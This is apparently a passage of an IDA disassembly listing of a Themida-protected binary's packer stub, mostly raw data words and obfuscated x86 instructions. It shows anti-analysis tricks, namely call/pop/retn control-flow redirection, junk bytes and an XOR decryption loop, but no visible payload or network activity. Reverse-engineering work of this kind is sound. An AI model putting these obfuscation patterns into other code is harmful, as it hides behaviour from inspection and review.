6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 2709C353h, 38542EB4h dd 8081213Dh, 0B833DBh, 8B000000h, 10208D9Dh, 0FC00B06h dd 8F84h, 82BA6600h, 1F8832Ch, 0FF74840Fh, 0F883FFFFh dd 0ED840F03h, 6AFFFFFEh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0F43AC351h, 15880F6Ah dd 0E9000000h, 10h, 0A0EC8334h, 0EB6062BCh, 0D19F1AE1h dd 27E08h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 480EC5C3h, 0D98BCE0Ch, 89E0BD8Dh dd 958B005Bh, 61000C5h, 2960E7FFh, 100825BDh, 89B58906h dd 61061008h, 4687BD8Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0ABE3F7C3h, 1DAE9h, 0F3816600h dd 9D8B36F3h, 6100CB1h, 0F03F883h, 4385h, 9D8B6000h, 6100719h dd 61D9B70Fh, 68C0Fh, 9D8B0000h, 6100A09h, 481BBD8Dh, 0FE80610h dd 0AF000000h, 0E7B81C8Bh, 23A31633h, 0C277AEA8h, 0F560834h dd 85h, 0E95A5A00h, 187h, 0CCB6BA66h, 0F05F883h, 3785h dd 3860F00h, 0F000000h, 83E9DABFh, 6A000008h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0B87EC351h, 0F0074E9h, 0EB81DBBFh, 0D4894E5h, 0F06F883h dd 5885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0A2EA814Bh, 8D422B46h, 104A13BDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 5F48674Eh, 0BD898386h, 61013B5h, 0E6E9h dd 0C6BB6600h, 7F88364h, 64850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 201A48C3h dd 9EFF1E48h, 9D8B2A3Ah, 6101CA5h, 1BD8DF5h, 8906102Bh dd 102A158Dh, 120E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0BFB5F1C3h, 5A966AF7h dd 0BA663E45h, 0F8834D3Fh, 6C850F0Ah, 66000000h, 8DA80CBBh dd 104C0BBDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 87878F4Ah, 6E8093CFh, 38E95AC0h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 1DF9C352h, 0C122344Ch, 0DE9h dd 0EBD39000h, 0C963EB2Ah, 15D9E148h, 81663AC9h, 5768B6DBh dd 14019D33h, 72B90610h, 8B0E20B6h, 102DA59Dh, 3F8306h dd 65840Fh, 7E90000h, 64000000h, 0D72CBA0Ah, 0F3034DDh dd 0D1DFBF0Fh, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0E870937Fh, 0ADF7784Dh dd 6A47A2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 61EDFCC3h, 0B4A57A7Ah, 0FFFF98E9h, 8D9D89FFh dd 5F061022h, 0BD89F08Ah, 6104E07h, 68A0Fh, 9D890000h dd 6101B35h, 14E98D8Dh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0BBC302C3h, 28B0F97h dd 0B3000000h, 0B5FFF5B7h, 61009ADh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0F3C35242h, 4D6F84B8h, 5E95B25h dd 5000000h, 0FD44FF24h, 0AB5E858Dh, 8D500612h, 1055B8BDh dd 0E78D8D06h, 0B8061070h, 54831ABCh, 730CF2Bh, 4947C8D0h dd 0B58DF875h, 6107058h, 70FF8D8Dh, 0CF2B0610h, 0C933A4F3h dd 0B8h, 74C00B00h, 19BD8346h, 6101Dh, 95FF0674h, 6102AD1h dd 4E07B58Bh, 858D0610h, 612AB5Eh, 858DD0FFh, 6104264h dd 85C7D0FFh, 6101C21h, 1, 30F5A58Bh, 0B58B0610h, 61030E9h dd 21C9AD8Bh, 0C0330610h, 57000CC2h, 0BE8h, 0F4F80200h dd 76F426D0h, 4A248AC1h, 26C28166h, 6A5B5A53h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 9ABCC351h, 319D8B9Bh, 83061001h, 10306DBDh, 840F0006h dd 18h, 12759531h, 95FF0610h, 6100AF5h, 23D99D89h, 95890610h dd 6101BA1h, 2969BD83h, 0F000610h, 1C085h, 0EE900h, 868B0000h dd 18D86B27h, 5798E8F5h, 5E7ACDCBh, 2209BD83h, 0F010610h dd 1A085h, 0B1B50100h, 8306100Ch, 102DA1BDh, 840F0006h dd 18Dh, 7D9D8960h, 0F06100Ah, 8361F3B7h, 104E5ABDh, 840F0006h dd 175h, 237D9589h, 858D0610h, 612AB5Eh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DCC35747h, 0B3FFE985h dd 8F0FBF7Ch, 6, 2D01958Bh, 9EBA0610h, 8B1F90FEh, 104E07B5h dd 42E28106h, 8033FDFDh, 0D0FF00D7h, 4870Fh, 0BA660000h dd 85C621F3h, 61023E5h, 559D8B54h, 0E8061014h, 11h, 27BE0EE3h dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 0DF8B660Dh, 8BFC685Ah dd 3BB7EEE9h, 8243481h, 8B11A735h, 199D8BD0h, 0FF06100Ah dd 101499B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0C690C5CAh, 64958B36h, 0FF80E67h dd 858DD0BFh, 6103A32h, 0C3BF0F60h, 2BE38166h, 0D0FF6153h dd 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h, 6AE386BFh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0C005740Ch, 0BBFF6ACBh, 423BBFBDh, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 512019C3h, 8D91A5D9h, 858B603Fh, 6100059h, 0B58961FCh dd 6101631h, 1911B5FFh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0ED5C26C3h, 95FFD7C1h dd 61009ADh, 7B58BF9h, 6006104Eh, 0F1BD8960h, 6006100Ah dd 0BE96161h, 87000000h, 65F220A4h, 6F4F693h, 0C3619054h dd 0B58BB7B6h, 61010C5h, 0C959D8Bh, 0F60B0610h, 27840Fh dd 0BF90000h, 1008519Dh, 6C606h, 178D0Fh, 12E90000h, 6C000000h dd 2616538h, 59FE23B9h, 0A6509D0Ah, 928DE23Ah, 0F858935h dd 8906104Eh, 100A75B5h, 0F88306h, 385840Fh, 5BBA0000h dd 0B83D574Fh, 0 ; --------------------------------------------------------------------------- mov edx, 57283A0Ah cmp eax, 0 jz loc_55298B mov dh, 0CCh movzx edx, di cmp eax, 2 jnz loc_552933 sbb edx, 5E0313B0h xor ebx, 5E7D17ADh lea eax, [ebp+610448Ah] push 0 push esi call sub_5528A1 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5528A1 proc near ; CODE XREF: Themida_:00552899p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5528A1 endp ; --------------------------------------------------------------------------- db 76h, 8Bh, 9Dh ; --------------------------------------------------------------------------- frstor byte ptr [edi] adc [esi], al sub eax, 929h push 0 push edx call sub_5528C8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5528C8 proc near ; CODE XREF: Themida_:005528C0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5528C8 endp ; --------------------------------------------------------------------------- dd 0BD5C56ADh, 6559830Fh, 9509C588h, 6102885h, 14E890h dd 1FC40000h, 0CE0FB28Ah, 63F27E78h, 6218CF86h, 0B25D74E4h dd 525084F8h, 310FD88Bh, 8D0Fh, 585A0000h, 8B60505Bh, 0E99061F7h dd 0Ah, 8E15ECE6h, 93CD5A4Eh, 0FC3E69Eh, 687h, 859D8B00h ; --------------------------------------------------------------------------- or edx, [eax] push es loc_552933: ; CODE XREF: Themida_:0055287Ej mov eax, 0 push 0 push ebx call sub_552943 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552943 proc near ; CODE XREF: Themida_:0055293Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_552943 endp ; --------------------------------------------------------------------------- aad 0E3h inc ecx pop esp xchg eax, esi jz short loc_552969 mov bh, 0D1h jmp loc_552BE3 ; --------------------------------------------------------------------------- push 0 push edx call sub_55296C loc_552969: ; CODE XREF: Themida_:00552958j and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55296C proc near ; CODE XREF: Themida_:00552964p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_55296C endp ; --------------------------------------------------------------------------- dd 0B218FFC8h, 15595365h, 0E9953149h ; --------------------------------------------------------------------------- and [eax], edx push es loc_55298B: ; CODE XREF: Themida_:00552870j mov eax, 1 mov [ebp+6102D75h], ecx lea edi, [ebp+610448Fh] add dl, 82h jmp loc_552ADE ; --------------------------------------------------------------------------- push 0 push esi call sub_5529AF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5529AF proc near ; CODE XREF: Themida_:005529A7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5529AF endp ; --------------------------------------------------------------------------- db 88h dd 81256E1Fh, 58E149EAh, 0CE91Bh, 0CDCB0000h, 99905E7Ah dd 1292983Dh, 0F883A4E5h, 6D850F02h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0A8A1C356h, 1812CACh, 1020298Dh, 87BD8D06h, 0F061046h dd 8Fh, 0C4E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 633E73C3h, 11E956F2h dd 81000000h, 7D143A28h, 0C083A89Eh, 0F8307459h, 0B2855732h dd 0F03F883h, 7385h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0D928764Dh, 559D8BFEh dd 6006102Eh, 10E9h, 5B85A00h, 446EBC4Ch, 0A14F9B2h, 4262D6CAh dd 0C1958BE3h, 61061010h, 481BBD8Dh, 950B0610h, 6102FD1h dd 31E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 6F1498Dh, 0F05F883h, 985h, 80E900h dd 0BA660000h db 0AEh, 36h ; --------------------------------------------------------------------------- loc_552ADE: ; CODE XREF: Themida_:0055299Fj push edi push 0 push eax call sub_552AEA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552AEA proc near ; CODE XREF: Themida_:00552AE2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_552AEA endp ; --------------------------------------------------------------------------- xchg dl, [ecx-42D67A98h] std and dl, [eax] push es mov ecx, 0E20B672h jge loc_552B12 movsx ebx, dx loc_552B12: ; CODE XREF: Themida_:00552B09j ; Themida_:00552B53j cmp dword ptr [edi], 0 jz loc_552B5A mov bh, 0B2h xor [edi], cl mov [ebp+61023D9h], edi ror ecx, 1 push 0 push ebx call sub_552B32 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552B32 proc near ; CODE XREF: Themida_:00552B2Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_552B32 endp ; --------------------------------------------------------------------------- shl byte ptr [ecx-79h], 1 cmp ds:0B2F38A26h, ecx inc edi inc edi add edx, [ebp+6102085h] jmp loc_552B12 ; --------------------------------------------------------------------------- mov bl, 8 loc_552B5A: ; CODE XREF: Themida_:00552B15j cmp eax, 5 jnz loc_552BE3 sub bh, 0E1h mov cx, ds cmc test cl, 4 jnz loc_552BBC mov dx, si mov eax, 0 push 0 push ebp call sub_552B86 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552B86 proc near ; CODE XREF: Themida_:00552B7Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_552B86 endp ; --------------------------------------------------------------------------- dw 0E808h dd 9, 8A748BC7h, 130B4379h, 0DA8B660Eh, 35E95Ah, 860F0000h dd 5, 59D6FEBBh, 0D38B6635h ; --------------------------------------------------------------------------- loc_552BBC: ; CODE XREF: Themida_:00552B6Dj mov eax, [ebp+61015ADh] cld jmp eax ; --------------------------------------------------------------------------- call near ptr loc_552BD7+5 push eax push es mov eax, 0D23AF621h shr dword ptr [ebp-2E09299Ah], cl loc_552BD7: ; CODE XREF: Themida_:00552BC5p sub dword ptr [ebx], 29432545h mov ch, 31h xor edx, [eax] push es pop edx loc_552BE3: ; CODE XREF: Themida_:0055295Cj ; Themida_:00552B5Dj cmp dword ptr [ebp+61009ADh], 0 jnz loc_552CF2 mov edx, [ebp+6102E65h] mov edx, 3919C40h nop mov dl, 6Ch push eax push esi call near ptr loc_552C0B+2 adc esp, [esi] test ebx, ebx pop ebp pop edi loc_552C0B: ; CODE XREF: Themida_:00552C00p lds edx, [ebx-45h] ; --------------------------------------------------------------------------- dw 0CBC5h dd 5B5A1B49h, 158C0F90h, 0F000000h, 0F89h, 9E800h, 41130000h dd 8DECFEECh, 5A520AECh, 23E585C6h, 0B2450610h, 4E851h dd 69690000h, 8B668E72h, 0C3B650DAh, 424448Bh, 9C78BA66h dd 0F60008Bh, 0D81h, 7E800h, 0C2390000h, 95075B56h, 9E85FB8h dd 8F000000h, 0A2E62321h, 0D5BD121Ah, 58DF8B66h, 24448961h dd 0E8525004h, 5, 0C4BC784h, 5ADD8A63h, 0DE8B310Fh, 0B258585Ah dd 99B5FF88h, 0BA061014h, 780870B4h, 3A32858Dh, 8B660610h dd 0FF37B6D7h, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0CC474D31h, 8B852790h dd 100E2195h, 599D3106h, 89061002h, 1009AD85h, 9DF38106h dd 58252B9Ch, 5E9h, 2BF93300h ; --------------------------------------------------------------------------- frstor byte ptr [eax] loc_552CF2: ; CODE XREF: Themida_:00552BEAj cmp dword ptr [ebp+6104E5Eh], 0 jz loc_552D58 push 0 push esi call sub_552D0A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552D0A proc near ; CODE XREF: Themida_:00552D02p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_552D0A endp ; --------------------------------------------------------------------------- adc ah, 0Eh push dword ptr [ebp+6101911h] push ecx mov [ebp+6100EDDh], ebx pop ebx call dword ptr [ebp+61009ADh] push 0 push edi call sub_552D3C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552D3C proc near ; CODE XREF: Themida_:00552D34p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_552D3C endp ; --------------------------------------------------------------------------- dd 0D3FF49E3h, 0C2818768h, 511DCCFh ; --------------------------------------------------------------------------- loc_552D58: ; CODE XREF: Themida_:00552CF9j cmp eax, 0 jnz loc_552E24 or bx, 8A23h cmp dword ptr [ebp+6101359h], 0 jz loc_552DB7 mov edx, ebx mov edx, 7BEE471Dh push dword ptr [ebp+6101359h] push edi push edi mov bx, di pop edx pop ebx mov eax, 1 push 0 push eax call sub_552D97 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552D97 proc near ; CODE XREF: Themida_:00552D8Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_552D97 endp ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- movsd adc al, 0D6h les edx, [ecx+44EB806Dh] jmp loc_55303F ; --------------------------------------------------------------------------- loc_552DB7: ; CODE XREF: Themida_:00552D6Dj push dword ptr [ebp+6101911h] push 0 push ebx call sub_552DC8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552DC8 proc near ; CODE XREF: Themida_:00552DC0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_552DC8 endp ; --------------------------------------------------------------------------- dd 1D2A2DE1h, 15BD897Fh, 89061005h, 10163D9Dh, 7E806h dd 871D0000h, 0AAFD1665h, 957DBADCh, 0FF5A0607h, 101911B5h dd 0F19D0106h, 0FF061018h, 1009ADB5h, 1D858906h, 0E906101Dh dd 227h, 1EF19589h, 9D8B0610h, 6102FA1h ; --------------------------------------------------------------------------- loc_552E24: ; CODE XREF: Themida_:00552D5Bj pop edi push 0 push eax call sub_552E30 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_552E30 proc near ; CODE XREF: Themida_:00552E28p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_552E30 endp ; --------------------------------------------------------------------------- db 0CCh db 0C5h, 62h, 0Fh dd 0D223ADFEh, 119D89C2h, 8306100Ch, 1012F5BDh, 850F0006h dd 105h, 23E585C6h, 604D0610h, 20D18589h, 0BD890610h, 61030F9h dd 4E861h, 76A80000h, 11E8A435h, 70000000h, 8BBC174Bh dd 5290F1CBh, 74C00873h, 0CD6E37A9h, 0BE9h, 7C53B200h dd 0F2F978DFh, 0CBEB3224h, 880F505Bh, 2, 448BDE8Ah, 56BB0424h dd 8B2C4EB2h, 840F5700h, 3, 5AD98B66h, 4244489h, 0BFBB6660h dd 61F38B6Dh, 9E85358h, 2D000000h, 0D511BFBFh, 6834E28Bh dd 5AEAC280h, 0E5B5FF5Bh, 81061020h, 0E7EE83CAh, 32858D54h dd 0E906103Ah, 14h, 8BC9A41Eh, 0D15D0D26h, 0A404B13Eh dd 33E2184Fh, 7B092EA3h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 3D02FDC3h, 62356433h dd 8589E99Fh, 61012F5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 7CC35040h, 39789F6Bh, 89C88228h, 101C7D8Dh dd 0B806h, 95010000h, 6101C55h, 4E07BD89h, 6A0610h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0F55B4CC3h, 12CE8949h, 9D8B59C9h, 6100E0Dh, 92DA8166h dd 0FC00B04h, 2D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0ED958B74h, 0E906100Dh dd 6Fh, 29798509h, 0B5FF0610h, 61009ADh, 0F08A6050h, 7E9h dd 0FBAB5100h, 56255604h, 85895A61h, 6102F1Dh, 0AB5E858Dh dd 85890612h, 61029A9h, 50D18B90h, 11E8h, 99255B00h, 9D0B55F8h dd 8CAD1167h, 0BC494ECFh, 8C0F84F5h, 6, 8D0Fh, 905B0000h dd 0B810Fh, 0F600000h, 9D8BD7B7h, 61007E1h, 21952361h ; --------------------------------------------------------------------------- or edx, [eax] push es loc_55303F: ; CODE XREF: Themida_:00552DB2j push eax push esi lea edi, [ebp+61055B8h] lea ecx, [ebp+6107BE9h] mov eax, 748323BCh sub ecx, edi loc_553054: ; CODE XREF: Themida_:0055305Aj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_553054 pop esi pop eax cmp dword ptr [ebp+6101359h], 0 jz short loc_55306D mov ecx, [ebp+6100B89h] loc_55306D: ; CODE XREF: Themida_:00553065j xor ecx, ecx mov eax, 0 or eax, eax jz loc_553124 cmp dword ptr [ebp+6101D19h], 0 jz short loc_55308B call dword ptr [ebp+6102AD1h] loc_55308B: ; CODE XREF: Themida_:00553083j mov eax, 0 or eax, eax jnz short loc_55309D cmp dword ptr [ebp+6104E0Fh], 1 jz short loc_5530A6 loc_55309D: ; CODE XREF: Themida_:00553092j cmp dword ptr [ebp+6104E0Fh], 2 jnz short loc_5530B4 loc_5530A6: ; CODE XREF: Themida_:0055309Bj mov esi, [ebp+6104E07h] lea eax, [ebp+612AB5Eh] call eax loc_5530B4: ; CODE XREF: Themida_:005530A4j cmp dword ptr [ebp+610306Dh], 0 jz short loc_5530C3 call dword ptr [ebp+6100AF5h] loc_5530C3: ; CODE XREF: Themida_:005530BBj lea eax, [ebp+6104264h] call eax cmp dword ptr [ebp+6100855h], 2 jnz short loc_553103 mov esp, [ebp+61030F5h] mov eax, [ebp+6101359h] mov [esp], eax mov dword ptr [ebp+6101C21h], 1 mov esi, [ebp+6104E0Bh] mov ebp, [ebp+61021C9h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_553103: ; CODE XREF: Themida_:005530D2j mov dword ptr [ebp+6101C21h], 1 mov esp, [ebp+61030F5h] mov esi, [ebp+61030E9h] mov ebp, [ebp+61021C9h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_553124: ; CODE XREF: Themida_:00553076j cmp dword ptr [ebp+610306Dh], 0 jz short loc_55313C cmp dword ptr [ebp+6100AF5h], 0 jz short loc_55313C call dword ptr [ebp+6100AF5h] loc_55313C: ; CODE XREF: Themida_:0055312Bj ; Themida_:00553134j mov esi, [ebp+6104E07h] retn ; --------------------------------------------------------------------------- jle loc_55314F mov ebx, [ebp+610089Dh] loc_55314F: ; CODE XREF: Themida_:00553143j push 0 push edi call sub_55315A loc_553157: ; CODE XREF: Themida_:0055316Dj and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55315A proc near ; CODE XREF: Themida_:00553152p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_55315A endp ; --------------------------------------------------------------------------- shr byte ptr [eax], cl push ebp jnp short loc_553157 scasb mov ebx, [ebp+6101195h] mov edx, 0 xor [ebp+6102885h], ecx mov [ebp+6101BC5h], edx push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_553197 ; --------------------------------------------------------------------------- loc_553195: ; CODE XREF: Themida_:0055319Aj inc eax inc edi loc_553197: ; CODE XREF: Themida_:00553193j cmp byte ptr [edi], 0 jnz short loc_553195 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5531C6 ; --------------------------------------------------------------------------- loc_5531A3: ; CODE XREF: Themida_:005531C8j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5531BB ; --------------------------------------------------------------------------- loc_5531B8: ; CODE XREF: Themida_:005531BEj mul ebx dec esi loc_5531BB: ; CODE XREF: Themida_:005531B6j cmp esi, 0 ja short loc_5531B8 pop ebx add ecx, eax pop eax inc edi dec eax loc_5531C6: ; CODE XREF: Themida_:005531A1j or eax, eax jnz short loc_5531A3 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- push eax pusha xor dx, 3B67h mov [ebp+61022B9h], ebx popa pop edx jno loc_5531EF and ebx, 1035BE37h loc_5531EF: ; CODE XREF: Themida_:005531E3j mov dh, ah loc_5531F1: ; CODE XREF: Themida_:loc_5502CDj mov eax, ecx jmp loc_5754FD ; --------------------------------------------------------------------------- dd 0 dd 25C003Fh, 2 dup(5CC447h), 12FF6Ch, 5CAA9Fh, 25C0028h dd 202h, 2, 1, 3, 0FA44B46Bh, 5 dup(0) dd offset loc_557013 dd offset loc_55C644 ; --------------------------------------------------------------------------- ror dword ptr [edi+76040055h], 1 push ebp add ds:9700554Ah, dl xchg eax, ecx push ebp add [ebx+690055D7h], ch jmp short loc_5532B0 ; --------------------------------------------------------------------------- align 4 dd offset loc_554A0D dd offset loc_559509 dd offset loc_5558A8 dd offset loc_55BC12 dd offset loc_559630 dd offset loc_55C49F dd offset loc_55E122 dd offset loc_5550D7 dd offset byte_55C859 dd offset loc_55F6DC dd offset loc_554746 dd offset loc_55D9C5 dd offset loc_55CA76 dd offset loc_55BD2E ; --------------------------------------------------------------------------- pop ebp popf push ebp add [edi-6Ch], bh push ebp add [ebx], bl pop ecx push ebp add [eax+2D00558Fh], cl dec esi push ebp add [ebx+7F0055D4h], bh retf 55h ; --------------------------------------------------------------------------- loc_5532B0: ; CODE XREF: Themida_:00553259j push ss test eax, 0FA250055h push ebp add dh, bl cmp [ebp+0], edx ror dword ptr [ebx-6306FFABh], 1 push ebp add [eax-65h], ch push ebp add cl, dl rep push ebp add [ebp+ecx*4+55h], cl add [ebx], ah fst dword ptr [ebp+0] pop esp not dword ptr [ebp+0] xor ecx, ebp push ebp add [edx+650055F6h], bh nop push ebp add [ebp-64FFAA26h], ah jecxz short near ptr loc_55333F+1 add [ebx+ebx*8], cl push ebp add [ebx+44h], al push ebp add [ebp-0Fh], bl push ebp add [eax+4Ah], bh push ebp add al, bl cmpsd push ebp add [esi+55h], ah add [edi-36FFAA3Eh], ah lock push ebp add [esp+ecx*4-302DFFABh], cl push ebp add [ecx+esi*2], ah push ebp add al, cl push edi push ebp add [edx-4Bh], bh push ebp add cl, ah fist word ptr [ebp+0] call near ptr 185588A9h mov ecx, 6BA90055h push ebp add ah, bl adc byte ptr [ebp+0], 22h imul edx, [ebp+0], 55AAC6h js short loc_553387 push ebp loc_55333F: ; CODE XREF: Themida_:005532E9j add [ebp-50FFAAA0h], bl inc ecx push ebp add [eax], bl mov ss, word ptr [ebp+0] retf 55A4h ; --------------------------------------------------------------------------- align 10h dd offset loc_558677 dd offset loc_557070 dd offset loc_5564C5 dd offset loc_55E13B ; --------------------------------------------------------------------------- popf mov [ebp+0], dl cmp al, [ebx-2EBCFFABh] push ebp add ah, dh retn ; --------------------------------------------------------------------------- dw 55h ; --------------------------------------------------------------------------- cmp bh, [eax+55h] add al, bh sahf push ebp add [edx-59h], bh push ebp add [ebp-1Dh], dl push ebp add bh, ah push 55h add [ecx+4Ah], al push ebp loc_553387: ; CODE XREF: Themida_:0055333Cj add [ecx], dh movsb push ebp add [edi-7FFFAA6Ch], al inc edi push ebp add [edi-8], cl push ebp add [ecx+1B0055E0h], cl rcl byte ptr [ebp+0], 1 les ebp, [ecx+55h] add [edx-5BFFAAAFh], cl aam 55h add bl, dh cmpsb push ebp add [ecx], bh lahf push ebp add dh, dl xchg eax, esp push ebp add bh, cl call near ptr 89DE3413h push ebp add [esi], cl outsd push ebp add dl, bl stosb push ebp add [edx+710055A2h], ch int 55h add [edi], al mov al, ds:0C8C50055h push ebp add bl, dh pop ebx push ebp add ch, bh setalc push ebp add ch, bl cmp edx, [ebp+0] stosd push esi push ebp add [eax-75h], ch push ebp add [eax-46h], bl push ebp add [ecx+0A005599h], bl cmp [ebp+0], dl fmul qword ptr [esi-1439FFABh] push ebp add [edx+ecx*8-211FFFABh], dl push ebp add [edi], dl cld push ebp add [ecx+7Bh], ch push ebp add [ecx-26h], cl push ebp add al, dh in eax, dx push ebp add [edx+ebp*4+55h], ah add [ebx], ch inc edi push ebp add [edi-2Eh], ch push ebp ; --------------------------------------------------------------------------- db 0 dd offset loc_55ED00 dd offset loc_55EE68 dd offset sub_559C84 dd offset sub_555C50 dd offset loc_55AAA7 dd offset loc_55BD5A dd offset sub_555CF6 dd offset sub_558BB5 dd offset sub_5559F0 dd offset loc_55A010 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0AFh, 55h, 0 dd offset loc_556007 dd offset sub_5589C1 dd offset sub_559AA2 dd offset sub_556F2F dd offset sub_556B78 dd offset loc_55B952 dd offset sub_555D07 dd offset sub_554517 dd offset sub_558684 dd offset loc_55D8CF dd offset sub_557FAF dd offset sub_55DBFB dd offset sub_553E48 dd offset loc_55BBAC dd offset loc_55C0F1 dd offset loc_55BAEA dd offset loc_5599BE dd offset sub_5561B6 dd offset sub_55E48F dd offset sub_5576EE dd offset sub_55369E dd offset loc_55C461 dd offset sub_553EB3 dd offset sub_55E26B dd offset loc_55A127 dd offset loc_55F090 dd offset loc_5578E4 dd offset sub_554790 ; --------------------------------------------------------------------------- inc ecx cmp edx, [ebp+0] sub eax, 0E000554Ah jecxz short loc_553520 add [ebx-52FFAA4Ah], dl imul edx, [ebp+0], 559BD8h ; START OF FUNCTION CHUNK FOR sub_5AEB29 loc_5534D8: ; CODE XREF: Themida_:0057554Aj ; Themida_:00575554j ... pusha pushf cld call $+5 pop edi sub edi, 6108075h mov eax, edi add edi, 6107D8Dh cmp eax, [edi+2Ch] jnz short loc_5534F6 jmp short loc_553509 ; --------------------------------------------------------------------------- loc_5534F6: ; CODE XREF: sub_5AEB29-5B637j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_553505 ; --------------------------------------------------------------------------- loc_553500: ; CODE XREF: sub_5AEB29-5B622j add [edi+ecx*4+40h], eax dec ecx loc_553505: ; CODE XREF: sub_5AEB29-5B62Bj or ecx, ecx jnz short loc_553500 loc_553509: ; CODE XREF: sub_5AEB29-5B635j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 